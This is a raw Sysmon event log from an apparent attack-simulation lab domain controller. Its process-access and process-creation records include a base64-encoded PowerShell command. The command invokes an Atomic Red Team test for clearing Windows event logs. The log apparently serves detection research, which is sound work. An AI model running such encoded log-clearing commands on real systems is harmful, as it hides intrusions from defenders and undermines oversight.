09:10:55.297{A5F018FF-291E-5F80-D000-000000007F01}4940916C:\Windows\system32\conhost.exe{A5F018FF-291F-5F80-D700-000000007F01}4424C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004189Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:55.297{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004188Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:55.297{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004187Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:55.297{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004186Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:55.297{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004185Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:55.297{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004184Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:55.297{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004183Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:55.297{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004182Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:55.297{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004181Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:55.297{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004180Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:55.297{A5F018FF-28BC-5F80-0500-000000007F01}6441148C:\Windows\system32\csrss.exe{A5F018FF-291F-5F80-D700-000000007F01}4424C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000004179Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:55.297{A5F018FF-291E-5F80-D300-000000007F01}44684372C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe{A5F018FF-291F-5F80-D700-000000007F01}4424C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|UNKNOWN(00007FFAA8E18890) 154100x80000000000000004178Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:55.301{A5F018FF-291F-5F80-D700-000000007F01}4424C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe10.0.14393.206 (rs1_release.160915-0644)Windows PowerShellMicrosoft® Windows® Operating SystemMicrosoft CorporationPowerShell.EXE"powershell.exe" -noninteractive -encodedcommand WwBDAG8AbgBzAG8AbABlAF0AOgA6AEkAbgBwAHUAdABFAG4AYwBvAGQAaQBuAGcAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFQAZQB4AHQALgBVAFQARgA4AEUAbgBjAG8AZABpAG4AZwAgACQAZgBhAGwAcwBlADsAIABJAG0AcABvAHIAdAAtAE0AbwBkAHUAbABlACAAIgBDADoAXABBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAFwAaQBuAHYAbwBrAGUALQBhAHQAbwBtAGkAYwByAGUAZAB0AGUAYQBtAFwASQBuAHYAbwBrAGUALQBBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAC4AcABzAGQAMQAiACAALQBGAG8AcgBjAGUACgBJAG4AdgBvAGsAZQAtAEEAdABvAG0AaQBjAFQAZQBzAHQAIAAiAFQAMQAwADcAMAAuADAAMAAxACIAIAAtAEMAbwBuAGYAaQByAG0AOgAkAGYAYQBsAHMAZQAgAC0AVABpAG0AZQBvAHUAdABTAGUAYwBvAG4AZABzACAAMwAwADAAIAAtAEUAeABlAGMAdQB0AGkAbwBuAEwAbwBnAFAAYQB0AGgAIABDADoAXABBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAFwAYQB0AGMAXwBlAHgAZQBjAHUAdABpAG8AbgAuAGMAcwB2AA==C:\Users\Administrator\ATTACKRANGE\Administrator{A5F018FF-291E-5F80-E5A3-070000000000}0x7a3e50HighMD5=097CE5761C89434367598B34FE32893B,SHA256=BA4038FD20E474C047BE8AAD5BFACDB1BFC1DDBE12F803F473B7918D8D819436,IMPHASH=CAEE994F79D85E47C06E5FA9CDEAE453{A5F018FF-291E-5F80-D300-000000007F01}4468C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA== 10341000x80000000000000004177Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:55.094{A5F018FF-28BD-5F80-0B00-000000007F01}8683980C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1e0a8|C:\Windows\system32\lsasrv.dll+1d2d1|C:\Windows\system32\lsasrv.dll+1bb00|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004176Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:55.094{A5F018FF-28BD-5F80-0B00-000000007F01}8683980C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1a4e6|C:\Windows\system32\lsasrv.dll+1ba8f|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004175Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:55.094{A5F018FF-28BD-5F80-0B00-000000007F01}8683980C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 11241100x80000000000000004174Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.localDLL2020-10-09 09:10:55.079{A5F018FF-291E-5F80-D500-000000007F01}4224C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeC:\Users\Administrator\AppData\Local\Temp\4h2nbodw.dll2020-10-09 09:10:54.969 10341000x80000000000000004173Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:55.063{A5F018FF-291E-5F80-D000-000000007F01}4940916C:\Windows\system32\conhost.exe{A5F018FF-291F-5F80-D600-000000007F01}2720C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004172Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:55.063{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004171Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:55.063{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004170Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:55.063{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004169Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:55.063{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004168Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:55.063{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004167Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:55.063{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004166Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 